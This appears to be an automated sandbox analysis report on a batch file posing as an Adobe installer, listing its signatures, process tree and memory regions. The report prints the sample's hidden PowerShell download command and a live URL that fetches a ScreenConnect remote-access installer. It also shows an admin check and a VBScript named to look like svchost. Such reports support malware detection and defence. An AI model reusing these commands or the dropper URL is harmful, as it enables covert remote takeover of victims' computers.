Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/09/2026, 12:25

General

  • Target
    Adobe Instaler V2.103.bat
  • Size 1KB
  • Sample260908-plndlsfe27
  • SHA256 03aadaf146a948bcdb0431d2c30dd467b82930e0f539286865126623adfe77f1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://pub-59731f24502b4349af2400270731ecf7.r2.dev/ScreenConnect.ClientSetup.msi

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Adobe Instaler V2.103.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:372
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4284
      • C:\Windows\system32\wscript.exe
        wscript.exe "C:\Users\Admin\AppData\Local\Temp\svchost209.vbs"
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('https://pub-59731f24502b4349af2400270731ecf7.r2.dev/ScreenConnect.ClientSetup.msi', 'C:\Users\Admin\AppData\Local\Temp\patch759.msi')"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4144
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5628

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          svchost209.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\svchost209.vbs
          • Size 122B
          • SHA256 db55d6da50c0b35ede4f541c7ce81bad9457a083ed68968bb0d5aafd15592469
          • MD5 SHA1 SHA512 TLSH

          memory/4144-10-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-6-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-7-0x000001F359180000-0x000001F3591A2000-memory.dmp

          memory/4144-8-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-9-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-2-0x00007FFBA6A5F000-0x00007FFBA6A60000-memory.dmp

          memory/4144-11-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-12-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-13-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-14-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-16-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

          memory/4144-18-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp